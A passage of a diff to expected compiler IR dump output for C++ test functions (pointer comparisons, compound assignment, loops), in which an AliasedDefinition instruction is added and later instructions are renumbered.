r0_48, r0_47 -# 202| v0_50(void) = NoOp : -# 193| v0_51(void) = ReturnVoid : -# 193| v0_52(void) = UnmodeledUse : mu* -# 193| v0_53(void) = ExitFunction : +# 193| mu0_1(unknown) = AliasedDefinition : +# 193| mu0_2(unknown) = UnmodeledDefinition : +# 193| r0_3(glval) = VariableAddress[p] : +# 193| mu0_4(int *) = InitializeParameter[p] : r0_3 +# 193| r0_5(glval) = VariableAddress[q] : +# 193| mu0_6(int *) = InitializeParameter[q] : r0_5 +# 194| r0_7(glval) = VariableAddress[b] : +# 194| mu0_8(bool) = Uninitialized[b] : r0_7 +# 196| r0_9(glval) = VariableAddress[p] : +# 196| r0_10(int *) = Load : r0_9, mu0_2 +# 196| r0_11(glval) = VariableAddress[q] : +# 196| r0_12(int *) = Load : r0_11, mu0_2 +# 196| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 196| r0_14(glval) = VariableAddress[b] : +# 196| mu0_15(bool) = Store : r0_14, r0_13 +# 197| r0_16(glval) = VariableAddress[p] : +# 197| r0_17(int *) = Load : r0_16, mu0_2 +# 197| r0_18(glval) = VariableAddress[q] : +# 197| r0_19(int *) = Load : r0_18, mu0_2 +# 197| r0_20(bool) = CompareNE : r0_17, r0_19 +# 197| r0_21(glval) = VariableAddress[b] : +# 197| mu0_22(bool) = Store : r0_21, r0_20 +# 198| r0_23(glval) = VariableAddress[p] : +# 198| r0_24(int *) = Load : r0_23, mu0_2 +# 198| r0_25(glval) = VariableAddress[q] : +# 198| r0_26(int *) = Load : r0_25, mu0_2 +# 198| r0_27(bool) = CompareLT : r0_24, r0_26 +# 198| r0_28(glval) = VariableAddress[b] : +# 198| mu0_29(bool) = Store : r0_28, r0_27 +# 199| r0_30(glval) = VariableAddress[p] : +# 199| r0_31(int *) = Load : r0_30, mu0_2 +# 199| r0_32(glval) = VariableAddress[q] : +# 199| r0_33(int *) = Load : r0_32, mu0_2 +# 199| r0_34(bool) = CompareGT : r0_31, r0_33 +# 199| r0_35(glval) = VariableAddress[b] : +# 199| mu0_36(bool) = Store : r0_35, r0_34 +# 200| r0_37(glval) = VariableAddress[p] : +# 200| r0_38(int *) = Load : r0_37, mu0_2 +# 200| r0_39(glval) = VariableAddress[q] : +# 200| r0_40(int *) = Load : r0_39, mu0_2 +# 200| r0_41(bool) = CompareLE : r0_38, r0_40 +# 200| r0_42(glval) = VariableAddress[b] : +# 200| mu0_43(bool) = Store : r0_42, r0_41 +# 201| r0_44(glval) = VariableAddress[p] : +# 201| r0_45(int *) = Load : r0_44, mu0_2 +# 201| r0_46(glval) = VariableAddress[q] : +# 201| r0_47(int *) = Load : r0_46, mu0_2 +# 201| r0_48(bool) = CompareGE : r0_45, r0_47 +# 201| r0_49(glval) = VariableAddress[b] : +# 201| mu0_50(bool) = Store : r0_49, r0_48 +# 202| v0_51(void) = NoOp : +# 193| v0_52(void) = ReturnVoid : +# 193| v0_53(void) = UnmodeledUse : mu* +# 193| v0_54(void) = ExitFunction : # 204| PointerCrement(int *) -> void # 204| Block 0 # 204| v0_0(void) = EnterFunction : -# 204| mu0_1(unknown) = UnmodeledDefinition : -# 204| r0_2(glval) = VariableAddress[p] : -# 204| mu0_3(int *) = InitializeParameter[p] : r0_2 -# 205| r0_4(glval) = VariableAddress[q] : -# 205| mu0_5(int *) = Uninitialized : r0_4 -# 207| r0_6(glval) = VariableAddress[p] : -# 207| r0_7(int *) = Load : r0_6, mu0_1 -# 207| r0_8(int) = Constant[1] : -# 207| r0_9(int *) = PointerAdd[4] : r0_7, r0_8 -# 207| mu0_10(int *) = Store : r0_6, r0_9 -# 207| r0_11(glval) = VariableAddress[q] : -# 207| mu0_12(int *) = Store : r0_11, r0_9 -# 208| r0_13(glval) = VariableAddress[p] : -# 208| r0_14(int *) = Load : r0_13, mu0_1 -# 208| r0_15(int) = Constant[1] : -# 208| r0_16(int *) = PointerSub[4] : r0_14, r0_15 -# 208| mu0_17(int *) = Store : r0_13, r0_16 -# 208| r0_18(glval) = VariableAddress[q] : -# 208| mu0_19(int *) = Store : r0_18, r0_16 -# 209| r0_20(glval) = VariableAddress[p] : -# 209| r0_21(int *) = Load : r0_20, mu0_1 -# 209| r0_22(int) = Constant[1] : -# 209| r0_23(int *) = PointerAdd[4] : r0_21, r0_22 -# 209| mu0_24(int *) = Store : r0_20, r0_23 -# 209| r0_25(glval) = VariableAddress[q] : -# 209| mu0_26(int *) = Store : r0_25, r0_21 -# 210| r0_27(glval) = VariableAddress[p] : -# 210| r0_28(int *) = Load : r0_27, mu0_1 -# 210| r0_29(int) = Constant[1] : -# 210| r0_30(int *) = PointerSub[4] : r0_28, r0_29 -# 210| mu0_31(int *) = Store : r0_27, r0_30 -# 210| r0_32(glval) = VariableAddress[q] : -# 210| mu0_33(int *) = Store : r0_32, r0_28 -# 211| v0_34(void) = NoOp : -# 204| v0_35(void) = ReturnVoid : -# 204| v0_36(void) = UnmodeledUse : mu* -# 204| v0_37(void) = ExitFunction : +# 204| mu0_1(unknown) = AliasedDefinition : +# 204| mu0_2(unknown) = UnmodeledDefinition : +# 204| r0_3(glval) = VariableAddress[p] : +# 204| mu0_4(int *) = InitializeParameter[p] : r0_3 +# 205| r0_5(glval) = VariableAddress[q] : +# 205| mu0_6(int *) = Uninitialized[q] : r0_5 +# 207| r0_7(glval) = VariableAddress[p] : +# 207| r0_8(int *) = Load : r0_7, mu0_2 +# 207| r0_9(int) = Constant[1] : +# 207| r0_10(int *) = PointerAdd[4] : r0_8, r0_9 +# 207| mu0_11(int *) = Store : r0_7, r0_10 +# 207| r0_12(glval) = VariableAddress[q] : +# 207| mu0_13(int *) = Store : r0_12, r0_10 +# 208| r0_14(glval) = VariableAddress[p] : +# 208| r0_15(int *) = Load : r0_14, mu0_2 +# 208| r0_16(int) = Constant[1] : +# 208| r0_17(int *) = PointerSub[4] : r0_15, r0_16 +# 208| mu0_18(int *) = Store : r0_14, r0_17 +# 208| r0_19(glval) = VariableAddress[q] : +# 208| mu0_20(int *) = Store : r0_19, r0_17 +# 209| r0_21(glval) = VariableAddress[p] : +# 209| r0_22(int *) = Load : r0_21, mu0_2 +# 209| r0_23(int) = Constant[1] : +# 209| r0_24(int *) = PointerAdd[4] : r0_22, r0_23 +# 209| mu0_25(int *) = Store : r0_21, r0_24 +# 209| r0_26(glval) = VariableAddress[q] : +# 209| mu0_27(int *) = Store : r0_26, r0_22 +# 210| r0_28(glval) = VariableAddress[p] : +# 210| r0_29(int *) = Load : r0_28, mu0_2 +# 210| r0_30(int) = Constant[1] : +# 210| r0_31(int *) = PointerSub[4] : r0_29, r0_30 +# 210| mu0_32(int *) = Store : r0_28, r0_31 +# 210| r0_33(glval) = VariableAddress[q] : +# 210| mu0_34(int *) = Store : r0_33, r0_29 +# 211| v0_35(void) = NoOp : +# 204| v0_36(void) = ReturnVoid : +# 204| v0_37(void) = UnmodeledUse : mu* +# 204| v0_38(void) = ExitFunction : # 213| CompoundAssignment() -> void # 213| Block 0 # 213| v0_0(void) = EnterFunction : -# 213| mu0_1(unknown) = UnmodeledDefinition : -# 215| r0_2(glval) = VariableAddress[x] : -# 215| r0_3(int) = Constant[5] : -# 215| mu0_4(int) = Store : r0_2, r0_3 -# 216| r0_5(int) = Constant[7] : -# 216| r0_6(glval) = VariableAddress[x] : -# 216| r0_7(int) = Load : r0_6, mu0_1 -# 216| r0_8(int) = Add : r0_7, r0_5 -# 216| mu0_9(int) = Store : r0_6, r0_8 -# 219| r0_10(glval) = VariableAddress[y] : -# 219| r0_11(short) = Constant[5] : -# 219| mu0_12(short) = Store : r0_10, r0_11 -# 220| r0_13(glval) = VariableAddress[x] : -# 220| r0_14(int) = Load : r0_13, mu0_1 -# 220| r0_15(glval) = VariableAddress[y] : -# 220| r0_16(short) = Load : r0_15, mu0_1 -# 220| r0_17(int) = Convert : r0_16 -# 220| r0_18(int) = Add : r0_17, r0_14 -# 220| r0_19(short) = Convert : r0_18 -# 220| mu0_20(short) = Store : r0_15, r0_19 -# 223| r0_21(int) = Constant[1] : -# 223| r0_22(glval) = VariableAddress[y] : -# 223| r0_23(short) = Load : r0_22, mu0_1 -# 223| r0_24(short) = ShiftLeft : r0_23, r0_21 -# 223| mu0_25(short) = Store : r0_22, r0_24 -# 226| r0_26(glval) = VariableAddress[z] : -# 226| r0_27(long) = Constant[7] : -# 226| mu0_28(long) = Store : r0_26, r0_27 -# 227| r0_29(float) = Constant[2.0] : -# 227| r0_30(glval) = VariableAddress[z] : -# 227| r0_31(long) = Load : r0_30, mu0_1 -# 227| r0_32(float) = Convert : r0_31 -# 227| r0_33(float) = Add : r0_32, r0_29 -# 227| r0_34(long) = Convert : r0_33 -# 227| mu0_35(long) = Store : r0_30, r0_34 -# 228| v0_36(void) = NoOp : -# 213| v0_37(void) = ReturnVoid : -# 213| v0_38(void) = UnmodeledUse : mu* -# 213| v0_39(void) = ExitFunction : +# 213| mu0_1(unknown) = AliasedDefinition : +# 213| mu0_2(unknown) = UnmodeledDefinition : +# 215| r0_3(glval) = VariableAddress[x] : +# 215| r0_4(int) = Constant[5] : +# 215| mu0_5(int) = Store : r0_3, r0_4 +# 216| r0_6(int) = Constant[7] : +# 216| r0_7(glval) = VariableAddress[x] : +# 216| r0_8(int) = Load : r0_7, mu0_2 +# 216| r0_9(int) = Add : r0_8, r0_6 +# 216| mu0_10(int) = Store : r0_7, r0_9 +# 219| r0_11(glval) = VariableAddress[y] : +# 219| r0_12(short) = Constant[5] : +# 219| mu0_13(short) = Store : r0_11, r0_12 +# 220| r0_14(glval) = VariableAddress[x] : +# 220| r0_15(int) = Load : r0_14, mu0_2 +# 220| r0_16(glval) = VariableAddress[y] : +# 220| r0_17(short) = Load : r0_16, mu0_2 +# 220| r0_18(int) = Convert : r0_17 +# 220| r0_19(int) = Add : r0_18, r0_15 +# 220| r0_20(short) = Convert : r0_19 +# 220| mu0_21(short) = Store : r0_16, r0_20 +# 223| r0_22(int) = Constant[1] : +# 223| r0_23(glval) = VariableAddress[y] : +# 223| r0_24(short) = Load : r0_23, mu0_2 +# 223| r0_25(short) = ShiftLeft : r0_24, r0_22 +# 223| mu0_26(short) = Store : r0_23, r0_25 +# 226| r0_27(glval) = VariableAddress[z] : +# 226| r0_28(long) = Constant[7] : +# 226| mu0_29(long) = Store : r0_27, r0_28 +# 227| r0_30(float) = Constant[2.0] : +# 227| r0_31(glval) = VariableAddress[z] : +# 227| r0_32(long) = Load : r0_31, mu0_2 +# 227| r0_33(float) = Convert : r0_32 +# 227| r0_34(float) = Add : r0_33, r0_30 +# 227| r0_35(long) = Convert : r0_34 +# 227| mu0_36(long) = Store : r0_31, r0_35 +# 228| v0_37(void) = NoOp : +# 213| v0_38(void) = ReturnVoid : +# 213| v0_39(void) = UnmodeledUse : mu* +# 213| v0_40(void) = ExitFunction : # 230| UninitializedVariables() -> void # 230| Block 0 # 230| v0_0(void) = EnterFunction : -# 230| mu0_1(unknown) = UnmodeledDefinition : -# 231| r0_2(glval) = VariableAddress[x] : -# 231| mu0_3(int) = Uninitialized : r0_2 -# 232| r0_4(glval) = VariableAddress[y] : -# 232| r0_5(glval) = VariableAddress[x] : -# 232| r0_6(int) = Load : r0_5, mu0_1 -# 232| mu0_7(int) = Store : r0_4, r0_6 -# 233| v0_8(void) = NoOp : -# 230| v0_9(void) = ReturnVoid : -# 230| v0_10(void) = UnmodeledUse : mu* -# 230| v0_11(void) = ExitFunction : +# 230| mu0_1(unknown) = AliasedDefinition : +# 230| mu0_2(unknown) = UnmodeledDefinition : +# 231| r0_3(glval) = VariableAddress[x] : +# 231| mu0_4(int) = Uninitialized[x] : r0_3 +# 232| r0_5(glval) = VariableAddress[y] : +# 232| r0_6(glval) = VariableAddress[x] : +# 232| r0_7(int) = Load : r0_6, mu0_2 +# 232| mu0_8(int) = Store : r0_5, r0_7 +# 233| v0_9(void) = NoOp : +# 230| v0_10(void) = ReturnVoid : +# 230| v0_11(void) = UnmodeledUse : mu* +# 230| v0_12(void) = ExitFunction : # 235| Parameters(int, int) -> int # 235| Block 0 # 235| v0_0(void) = EnterFunction : -# 235| mu0_1(unknown) = UnmodeledDefinition : -# 235| r0_2(glval) = VariableAddress[x] : -# 235| mu0_3(int) = InitializeParameter[x] : r0_2 -# 235| r0_4(glval) = VariableAddress[y] : -# 235| mu0_5(int) = InitializeParameter[y] : r0_4 -# 236| r0_6(glval) = VariableAddress[#return] : -# 236| r0_7(glval) = VariableAddress[x] : -# 236| r0_8(int) = Load : r0_7, mu0_1 -# 236| r0_9(glval) = VariableAddress[y] : -# 236| r0_10(int) = Load : r0_9, mu0_1 -# 236| r0_11(int) = Rem : r0_8, r0_10 -# 236| mu0_12(int) = Store : r0_6, r0_11 -# 235| r0_13(glval) = VariableAddress[#return] : -# 235| v0_14(void) = ReturnValue : r0_13, mu0_1 -# 235| v0_15(void) = UnmodeledUse : mu* -# 235| v0_16(void) = ExitFunction : +# 235| mu0_1(unknown) = AliasedDefinition : +# 235| mu0_2(unknown) = UnmodeledDefinition : +# 235| r0_3(glval) = VariableAddress[x] : +# 235| mu0_4(int) = InitializeParameter[x] : r0_3 +# 235| r0_5(glval) = VariableAddress[y] : +# 235| mu0_6(int) = InitializeParameter[y] : r0_5 +# 236| r0_7(glval) = VariableAddress[#return] : +# 236| r0_8(glval) = VariableAddress[x] : +# 236| r0_9(int) = Load : r0_8, mu0_2 +# 236| r0_10(glval) = VariableAddress[y] : +# 236| r0_11(int) = Load : r0_10, mu0_2 +# 236| r0_12(int) = Rem : r0_9, r0_11 +# 236| mu0_13(int) = Store : r0_7, r0_12 +# 235| r0_14(glval) = VariableAddress[#return] : +# 235| v0_15(void) = ReturnValue : r0_14, mu0_2 +# 235| v0_16(void) = UnmodeledUse : mu* +# 235| v0_17(void) = ExitFunction : # 239| IfStatements(bool, int, int) -> void # 239| Block 0 # 239| v0_0(void) = EnterFunction : -# 239| mu0_1(unknown) = UnmodeledDefinition : -# 239| r0_2(glval) = VariableAddress[b] : -# 239| mu0_3(bool) = InitializeParameter[b] : r0_2 -# 239| r0_4(glval) = VariableAddress[x] : -# 239| mu0_5(int) = InitializeParameter[x] : r0_4 -# 239| r0_6(glval) = VariableAddress[y] : -# 239| mu0_7(int) = InitializeParameter[y] : r0_6 -# 240| r0_8(glval) = VariableAddress[b] : -# 240| r0_9(bool) = Load : r0_8, mu0_1 -# 240| v0_10(void) = ConditionalBranch : r0_9 +# 239| mu0_1(unknown) = AliasedDefinition : +# 239| mu0_2(unknown) = UnmodeledDefinition : +# 239| r0_3(glval) = VariableAddress[b] : +# 239| mu0_4(bool) = InitializeParameter[b] : r0_3 +# 239| r0_5(glval) = VariableAddress[x] : +# 239| mu0_6(int) = InitializeParameter[x] : r0_5 +# 239| r0_7(glval) = VariableAddress[y] : +# 239| mu0_8(int) = InitializeParameter[y] : r0_7 +# 240| r0_9(glval) = VariableAddress[b] : +# 240| r0_10(bool) = Load : r0_9, mu0_2 +# 240| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 7 # 243| Block 1 # 243| r1_0(glval) = VariableAddress[b] : -# 243| r1_1(bool) = Load : r1_0, mu0_1 +# 243| r1_1(bool) = Load : r1_0, mu0_2 # 243| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 # 244| Block 2 # 244| r2_0(glval) = VariableAddress[y] : -# 244| r2_1(int) = Load : r2_0, mu0_1 +# 244| r2_1(int) = Load : r2_0, mu0_2 # 244| r2_2(glval) = VariableAddress[x] : # 244| mu2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 # 247| Block 3 # 247| r3_0(glval) = VariableAddress[x] : -# 247| r3_1(int) = Load : r3_0, mu0_1 +# 247| r3_1(int) = Load : r3_0, mu0_2 # 247| r3_2(int) = Constant[7] : # 247| r3_3(bool) = CompareLT : r3_1, r3_2 # 247| v3_4(void) = ConditionalBranch : r3_3 @@ -1074,15 +1096,16 @@ ir.cpp: # 253| WhileStatements(int) -> void # 253| Block 0 # 253| v0_0(void) = EnterFunction : -# 253| mu0_1(unknown) = UnmodeledDefinition : -# 253| r0_2(glval) = VariableAddress[n] : -# 253| mu0_3(int) = InitializeParameter[n] : r0_2 +# 253| mu0_1(unknown) = AliasedDefinition : +# 253| mu0_2(unknown) = UnmodeledDefinition : +# 253| r0_3(glval) = VariableAddress[n] : +# 253| mu0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 3 # 255| Block 1 # 255| r1_0(int) = Constant[1] : # 255| r1_1(glval) = VariableAddress[n] : -# 255| r1_2(int) = Load : r1_1, mu0_1 +# 255| r1_2(int) = Load : r1_1, mu0_2 # 255| r1_3(int) = Sub : r1_2, r1_0 # 255| mu1_4(int) = Store : r1_1, r1_3 #-----| Goto -> Block 3 @@ -1095,7 +1118,7 @@ ir.cpp: # 254| Block 3 # 254| r3_0(glval) = VariableAddress[n] : -# 254| r3_1(int) = Load : r3_0, mu0_1 +# 254| r3_1(int) = Load : r3_0, mu0_2 # 254| r3_2(int) = Constant[0] : # 254| r3_3(bool) = CompareGT : r3_1, r3_2 # 254| v3_4(void) = ConditionalBranch : r3_3 @@ -1105,19 +1128,20 @@ ir.cpp: # 259| DoStatements(int) -> void # 259| Block 0 # 259| v0_0(void) = EnterFunction : -# 259| mu0_1(unknown) = UnmodeledDefinition : -# 259| r0_2(glval) = VariableAddress[n] : -# 259| mu0_3(int) = InitializeParameter[n] : r0_2 +# 259| mu0_1(unknown) = AliasedDefinition : +# 259| mu0_2(unknown) = UnmodeledDefinition : +# 259| r0_3(glval) = VariableAddress[n] : +# 259| mu0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 1 # 261| Block 1 # 261| r1_0(int) = Constant[1] : # 261| r1_1(glval) = VariableAddress[n] : -# 261| r1_2(int) = Load : r1_1, mu0_1 +# 261| r1_2(int) = Load : r1_1, mu0_2 # 261| r1_3(int) = Sub : r1_2, r1_0 # 261| mu1_4(int) = Store : r1_1, r1_3 # 262| r1_5(glval) = VariableAddress[n] : -# 262| r1_6(int) = Load : r1_5, mu0_1 +# 262| r1_6(int) = Load : r1_5, mu0_2 # 262| r1_7(int) = Constant[0] : # 262| r1_8(bool) = CompareGT : r1_6, r1_7 # 262| v1_9(void) = ConditionalBranch : r1_8 @@ -1133,9 +1157,10 @@ ir.cpp: # 265| For_Empty() -> void # 265| Block 0 # 265| v0_0(void) = EnterFunction : -# 265| mu0_1(unknown) = UnmodeledDefinition : -# 266| r0_2(glval) = VariableAddress[j] : -# 266| mu0_3(int) = Uninitialized : r0_2 +# 265| mu0_1(unknown) = AliasedDefinition : +# 265| mu0_2(unknown) = UnmodeledDefinition : +# 266| r0_3(glval) = VariableAddress[j] : +# 266| mu0_4(int) = Uninitialized[j] : r0_3 #-----| Goto -> Block 2 # 265| Block 1 @@ -1150,10 +1175,11 @@ ir.cpp: # 272| For_Init() -> void # 272| Block 0 # 272| v0_0(void) = EnterFunction : -# 272| mu0_1(unknown) = UnmodeledDefinition : -# 273| r0_2(glval) = VariableAddress[i] : -# 273| r0_3(int) = Constant[0] : -# 273| mu0_4(int) = Store : r0_2, r0_3 +# 272| mu0_1(unknown) = AliasedDefinition : +# 272| mu0_2(unknown) = UnmodeledDefinition : +# 273| r0_3(glval) = VariableAddress[i] : +# 273| r0_4(int) = Constant[0] : +# 273| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 2 # 272| Block 1 @@ -1168,15 +1194,16 @@ ir.cpp: # 278| For_Condition() -> void # 278| Block 0 # 278| v0_0(void) = EnterFunction : -# 278| mu0_1(unknown) = UnmodeledDefinition : -# 279| r0_2(glval) = VariableAddress[i] : -# 279| r0_3(int) = Constant[0] : -# 279| mu0_4(int) = Store : r0_2, r0_3 +# 278| mu0_1(unknown) = AliasedDefinition : +# 278| mu0_2(unknown) = UnmodeledDefinition : +# 279| r0_3(glval) = VariableAddress[i] : +# 279| r0_4(int) = Constant[0] : +# 279| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 280| Block 1 # 280| r1_0(glval) = VariableAddress[i] : -# 280| r1_1(int) = Load : r1_0, mu0_1 +# 280| r1_1(int) = Load : r1_0, mu0_2 # 280| r1_2(int) = Constant[10] : # 280| r1_3(bool) = CompareLT : r1_1, r1_2 # 280| v1_4(void) = ConditionalBranch : r1_3 @@ -1196,10 +1223,11 @@ ir.cpp: # 285| For_Update() -> void # 285| Block 0 # 285| v0_0(void) = EnterFunction : -# 285| mu0_1(unknown) = UnmodeledDefinition : -# 286| r0_2(glval) = VariableAddress[i] : -# 286| r0_3(int) = Constant[0] : -# 286| mu0_4(int) = Store : r0_2, r0_3 +# 285| mu0_1(unknown) = AliasedDefinition : +# 285| mu0_2(unknown) = UnmodeledDefinition : +# 286| r0_3(glval) = VariableAddress[i] : +# 286| r0_4(int) = Constant[0] : +# 286| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 2 # 285| Block 1 @@ -1211,7 +1239,7 @@ ir.cpp: # 288| v2_0(void) = NoOp : # 287| r2_1(int) = Constant[1] : # 287| r2_2(glval) = VariableAddress[i] : -# 287| r2_3(int) = Load : r2_2, mu0_1 +# 287| r2_3(int) = Load : r2_2, mu0_2 # 287| r2_4(int) = Add : r2_3, r2_1 # 287| mu2_5(int) = Store : r2_2, r2_4 #-----| Goto -> Block 2 @@ -1219,15 +1247,16 @@ ir.cpp: # 292| For_InitCondition() -> void # 292| Block 0 # 292| v0_0(void) = EnterFunction : -# 292| mu0_1(unknown) = UnmodeledDefinition : -# 293| r0_2(glval) = VariableAddress[i] : -# 293| r0_3(int) = Constant[0] : -# 293| mu0_4(int) = Store : r0_2, r0_3 +# 292| mu0_1(unknown) = AliasedDefinition : +# 292| mu0_2(unknown) = UnmodeledDefinition : +# 293| r0_3(glval) = VariableAddress[i] : +# 293| r0_4(int) = Constant[0] : +# 293| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 293| Block 1 # 293| r1_0(glval) = VariableAddress[i] : -# 293| r1_1(int) = Load : r1_0, mu0_1 +# 293| r1_1(int) = Load : r1_0, mu0_2 # 293| r1_2(int) = Constant[10] : # 293| r1_3(bool) = CompareLT : r1_1, r1_2 # 293| v1_4(void) = ConditionalBranch : r1_3 @@ -1247,10 +1276,11 @@ ir.cpp: # 298| For_InitUpdate() -> void # 298| Block 0 # 298| v0_0(void) = EnterFunction : -# 298| mu0_1(unknown) = UnmodeledDefinition : -# 299| r0_2(glval) = VariableAddress[i] : -# 299| r0_3(int) = Constant[0] : -# 299| mu0_4(int) = Store : r0_2, r0_3 +# 298| mu0_1(unknown) = AliasedDefinition : +# 298| mu0_2(unknown) = UnmodeledDefinition : +# 299| r0_3(glval) = VariableAddress[i] : +# 299| r0_4(int) = Constant[0] : +# 299| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 2 # 298| Block 1 @@ -1262,7 +1292,7 @@ ir.cpp: # 300| v2_0(void) = NoOp : # 299| r2_1(int) = Constant[1] : # 299| r2_2(glval) = VariableAddress[i] : -# 299| r2_3(int) = Load : r2_2, mu0_1 +# 299| r2_3(int) = Load : r2_2, mu0_2 # 299| r2_4(int) = Add : r2_3, r2_1 # 299| mu2_5(int) = Store : r2_2, r2_4 #-----| Goto -> Block 2 @@ -1270,15 +1300,16 @@ ir.cpp: # 304| For_ConditionUpdate() -> void # 304| Block 0 # 304| v0_0(void) = EnterFunction : -# 304| mu0_1(unknown) = UnmodeledDefinition : -# 305| r0_2(glval) = VariableAddress[i] : -# 305| r0_3(int) = Constant[0] : -# 305| mu0_4(int) = Store : r0_2, r0_3 +# 304| mu0_1(unknown) = AliasedDefinition : +# 304| mu0_2(unknown) = UnmodeledDefinition : +# 305| r0_3(glval) = VariableAddress[i] : +# 305| r0_4(int) = Constant[0] : +# 305| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 306| Block 1 # 306| r1_0(glval) = VariableAddress[i] : -# 306| r1_1(int) = Load : r1_0, mu0_1 +# 306| r1_1(int) = Load : r1_0, mu0_2 # 306| r1_2(int) = Constant[10] : # 306| r1_3(bool) = CompareLT : r1_1, r1_2 # 306| v1_4(void) = ConditionalBranch : r1_3 @@ -1289,7 +1320,7 @@ ir.cpp: # 307| v2_0(void) = NoOp : # 306| r2_1(int) = Constant[1] : # 306| r2_2(glval) = VariableAddress[i] : -# 306| r2_3(int) = Load : r2_2, mu0_1 +# 306| r2_3(int) = Load : r2_2, mu0_2 # 306| r2_4(int) = Add : r2_3, r2_1 # 306| mu2_5(int) = Store : r2_2, r2_4 #-----| Goto -> Block 1 @@ -1303,15 +1334,16 @@ ir.cpp: # 311| For_InitConditionUpdate() -> void # 311| Block 0 # 311| v0_0(void) = EnterFunction : -# 311| mu0_1(unknown) = UnmodeledDefinition : -# 312| r0_2(glval) = VariableAddress[i] : -# 312| r0_3(int) = Constant[0] : -# 312| mu0_4(int) = Store : r0_2, r0_3 +# 311| mu0_1(unknown) = AliasedDefinition : +# 311| mu0_2(unknown) = UnmodeledDefinition : +# 312| r0_3(glval) = VariableAddress[i] : +# 312| r0_4(int) = Constant[0] : +# 312| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 312| Block 1 # 312| r1_0(glval) = VariableAddress[i] : -# 312| r1_1(int) = Load : r1_0, mu0_1 +# 312| r1_1(int) = Load : r1_0, mu0_2 # 312| r1_2(int) = Constant[10] : # 312| r1_3(bool) = CompareLT : r1_1, r1_2 # 312| v1_4(void) = ConditionalBranch : r1_3 @@ -1322,7 +1354,7 @@ ir.cpp: # 313| v2_0(void) = NoOp : # 312| r2_1(int) = Constant[1] : # 312| r2_2(glval) = VariableAddress[i] : -# 312| r2_3(int) = Load : r2_2, mu0_1 +# 312| r2_3(int) = Load : r2_2, mu0_2 # 312| r2_4(int) = Add : r2_3, r2_1 # 312| mu2_5(int) = Store : r2_2, r2_4 #-----| Goto -> Block 1 @@ -1336,15 +1368,16 @@ ir.cpp: # 317| For_Break() -> void # 317| Block 0 # 317| v0_0(void) = EnterFunction : -# 317| mu0_1(unknown) = UnmodeledDefinition : -# 318| r0_2(glval) = VariableAddress[i] : -# 318| r0_3(int) = Constant[0] : -# 318| mu0_4(int) = Store : r0_2, r0_3 +# 317| mu0_1(unknown) = AliasedDefinition : +# 317| mu0_2(unknown) = UnmodeledDefinition : +# 318| r0_3(glval) = VariableAddress[i] : +# 318| r0_4(int) = Constant[0] : +# 318| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 318| Block 1 # 318| r1_0(glval) = VariableAddress[i] : -# 318| r1_1(int) = Load : r1_0, mu0_1 +# 318| r1_1(int) = Load : r1_0, mu0_2 # 318| r1_2(int) = Constant[10] : # 318| r1_3(bool) = CompareLT : r1_1, r1_2 # 318| v1_4(void) = ConditionalBranch : r1_3 @@ -1354,14 +1387,14 @@ ir.cpp: # 318| Block 2 # 318| r2_0(int) = Constant[1] : # 318| r2_1(glval) = VariableAddress[i] : -# 318| r2_2(int) = Load : r2_1, mu0_1 +# 318| r2_2(int) = Load : r2_1, mu0_2 # 318| r2_3(int) = Add : r2_2, r2_0 # 318| mu2_4(int) = Store : r2_1, r2_3 #-----| Goto -> Block 1 # 319| Block 3 # 319| r3_0(glval) = VariableAddress[i] : -# 319| r3_1(int) = Load : r3_0, mu0_1 +# 319| r3_1(int) = Load : r3_0, mu0_2 # 319| r3_2(int) = Constant[5] : # 319| r3_3(bool) = CompareEQ : r3_1, r3_2 # 319| v3_4(void) = ConditionalBranch : r3_3 @@ -1382,15 +1415,16 @@ ir.cpp: # 325| For_Continue_Update() -> void # 325| Block 0 # 325| v0_0(void) = EnterFunction : -# 325| mu0_1(unknown) = UnmodeledDefinition : -# 326| r0_2(glval) = VariableAddress[i] : -# 326| r0_3(int) = Constant[0] : -# 326| mu0_4(int) = Store : r0_2, r0_3 +# 325| mu0_1(unknown) = AliasedDefinition : +# 325| mu0_2(unknown) = UnmodeledDefinition : +# 326| r0_3(glval) = VariableAddress[i] : +# 326| r0_4(int) = Constant[0] : +# 326| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 326| Block 1 # 326| r1_0(glval) = VariableAddress[i] : -# 326| r1_1(int) = Load : r1_0, mu0_1 +# 326| r1_1(int) = Load : r1_0, mu0_2 # 326| r1_2(int) = Constant[10] : # 326| r1_3(bool) = CompareLT : r1_1, r1_2 # 326| v1_4(void) = ConditionalBranch : r1_3 @@ -1399,7 +1433,7 @@ ir.cpp: # 327| Block 2 # 327| r2_0(glval) = VariableAddress[i] : -# 327| r2_1(int) = Load : r2_0, mu0_1 +# 327| r2_1(int) = Load : r2_0, mu0_2 # 327| r2_2(int) = Constant[5] : # 327| r2_3(bool) = CompareEQ : r2_1, r2_2 # 327| v2_4(void) = ConditionalBranch : r2_3 @@ -1414,7 +1448,7 @@ ir.cpp: # 326| v4_0(void) = NoOp : # 326| r4_1(int) = Constant[1] : # 326| r4_2(glval) = VariableAddress[i] : -# 326| r4_3(int) = Load : r4_2, mu0_1 +# 326| r4_3(int) = Load : r4_2, mu0_2 # 326| r4_4(int) = Add : r4_3, r4_1 # 326| mu4_5(int) = Store : r4_2, r4_4 #-----| Goto -> Block 1 @@ -1428,15 +1462,16 @@ ir.cpp: # 333| For_Continue_NoUpdate() -> void # 333| Block 0 # 333| v0_0(void) = EnterFunction : -# 333| mu0_1(unknown) = UnmodeledDefinition : -# 334| r0_2(glval) = VariableAddress[i] : -# 334| r0_3(int) = Constant[0] : -# 334| mu0_4(int) = Store : r0_2, r0_3 +# 333| mu0_1(unknown) = AliasedDefinition : +# 333| 